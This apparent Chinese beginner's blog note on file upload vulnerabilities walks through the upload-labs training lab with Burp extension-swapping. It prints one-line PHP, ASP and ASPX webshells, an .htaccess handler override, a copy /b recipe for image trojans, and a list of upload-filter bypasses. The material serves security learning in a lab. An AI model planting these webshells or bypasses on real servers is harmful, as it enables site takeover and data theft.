小白专用,文件上传漏洞笔记

文件上传

什么是文件上传漏洞:

文件上传漏洞指的是攻击者上传了一个可执行的脚本文件,通过此脚本文件获得了执行服务器端命令的能力,即获得了服务端的某些权限。
常见的场景是:
某个网站或者app上,服务端允许用户上传图片或者普通的文本文件,然后攻击者能绕过这个限制,上传可执行的脚本文件来获取权限。

文件上传漏洞的危害:

1、网站被控制,对文件增删改查,执行命令,链接数据库
2、如果服务器长久未更新,可以利用exp提权,导致服务器沦陷
3、同服务器的其他网站沦陷

文件上传漏洞攻击的流程:

查看文件上传的限制条件

准备上传所用的php文件:

1、上传Web脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行,篡改主页
2、上传Flash策略文件crossdomain.xml,以此来控制Flash在该域下的行为。
3、上传病毒、木马文件,攻击者用以诱骗用户或管理员下载执行,放置后门<?php system($ ['cmd']); ?>
4、上传钓鱼图片或包含了脚本的图片,某些浏览器会作为脚本执行,实施钓鱼或欺诈。
5、创建服务器用户,查看服务器信息 (使用net user 命令)

通过文件上传来将文件上传到服务端
用蚁剑或者中国菜刀连接(或者用apache解析,网页上查看服务器配置信息)
对服务端的文件等进行修改或执行某些命令(或者信息的搜集)

以upload-labs pass-1为例:

直接上传php文件会报错
在这里插入图片描述
考虑可以先将写好的php文件(例子中为一句话木马测试用php文件)改为png格式,再使用bp抓包,在bp中将抓下来的包更改回php格式再将包放出

选择修改好的png格式文件,点击上传:
在这里插入图片描述
bp抓包完成,将抓下来的包重命名:

在这里插入图片描述
在这里插入图片描述
单击forward:

在这里插入图片描述
查看upload上传的位置可知,已经成功绕过,将木马文件上传。利用蚁剑或者菜刀进行连接

tip:
asp一句话木马:

<%eval request(“c”)%>

php一句话木马:

<?php @eval($_POST[value]);?>

Aspx 一句话木马:

<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>

在这里插入图片描述
成功进入!(ps:使用时需要将php版本设置为5左右,注意密码的填写)php文件若为phpinfo语句则在网页查看其php版本等信息
在这里插入图片描述

对文件上传漏洞利用方式的总结:

初学者可以多看看靶场的源码

1、推断文件上传限制的方式:

文件上传漏洞分为客户端和服务端,在分析该网站是否存在文件上传漏洞时可以先进行js检查(客户端)来判断。

例upload-labs pass1,首先先查看其源代码:

在这里插入图片描述
发现存在js脚本,可以在火狐的about:config中将javascript.enabled改成false或者用bp抓包,在bp上通过修改文件名后缀来实现绕过js。

若不存在,则应该为服务端存在的文件上传限制的拦截:

若想绕过content-type(内容类型)则可以使用图片木马

图片木马:就是将木马放在txt的上面,cmd 融在一起。

制作图片木马:
1、伪造头部GIF89A(gif的文件头)
2、win下的CMD执行:copy /b test.png + muma.php cccc.png
在这里插入图片描述
3、使用图片修改软件,添加备注,写入执行命令。
服务端
	检查后缀
		黑名单
		白名单
	检查内容
		文件头检查(几个常见的文件头对应关系)
			.JPEG;.JPE;.JPG,”JPGGraphic File”
			.gif,”GIF 89A”
			.zip,”Zip Compressed”
			.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
		突破getimagesize()	PHP提供的方法,用以判断目标文件是否为图片。
			其返回结果中有文件大小和文件类型(通过读取文件的前八位的十六进制)。因此可将恶意文件从第9位开始写入,以绕过getimagesize()验证
		突破exif_imagetype()	判断是否为图片
		二次渲染		上传的图片会被网站进行二次处理
			bp抓包,在inturder下添加?a=1爆破点,运行多次(条件竞争)进行上传
			将一句话木马插入图片在二次渲染后会保留的那部分数据里面
	代码逻辑	条件竞争
  •  黑名单 		即限制哪些文件类型无法被上传
    
  •  白名单		即限制哪些文件类型可以上传
    

2、根据黑白名单判断具体文件上传漏洞:


> 黑名单
> 	1、	上传特殊可解析后缀
> 	2、	上传.htaccess
> 			SetHandler application/x-httpd-php 
> 	3、	后缀大小写绕过
> 	4、	点绕过
> 	5、	空格绕过
> 	6、	::$DATA绕过
> 	7、	配合解析漏洞
> 			Apache陌生后缀解析漏洞
> 			Apache换行解析漏洞
> 	8、双后缀名绕过
> 白名单
> 	1、MIME绕过
> 	2、%00截断
> 	3、0x00截断

3、熟悉各类用于文件上传的php函数:、

  • array() 用于创建数组

  • trim() 移除字符串两侧的空白字符或其他预定义字符

  • deldot() 删除文件名末尾的点

  • strrchr(string,char) 查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符

  • strtolower() 把字符串转换为小写

  • str_ireplace(find,replace,string,count) 替换字符串中的一些字符(不区分大小写)

  • substr(string,start,length) 返回字符串的一部分,从start开始,length表示选取的部分字符串的长度

  • strrpos(string,find,start) 查找查找字符串在另一字符串中最后一次出现的位置

  • rand(min,max) 生成随机整数,在min和max之间

  • rename(oldname,newname,context) 函数重命名文件或目录

  • date() 格式化本地日期和时间,并返回已格式化的日期字符串:

  • fopen() 打开一个文件或 URL

  • fread() 读取打开的文件

  • fclose() 关闭打开的文件

  • @unpack(format,data) 从二进制字符串对数据进行解包

  • @unlink() 删除文件

  • intval() 用于获取变量的整数值

  • imagejpeg() 输出图象到浏览器或文件

  • getReailFileType() 获取真实的文件类型

  • move_uploaded_file() 将上传的文件移动到新位置

  • getimagesize() 取得图像大小

  • image_type_to_extension() 取得图像类型的文件后缀

  • stripos() 查找字符串首次出现的位置(不区分大小写)

  • isImage() 检验图片是否有效

  • imagecreatefromjpeg() 由文件或 URL 创建一个新图象

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值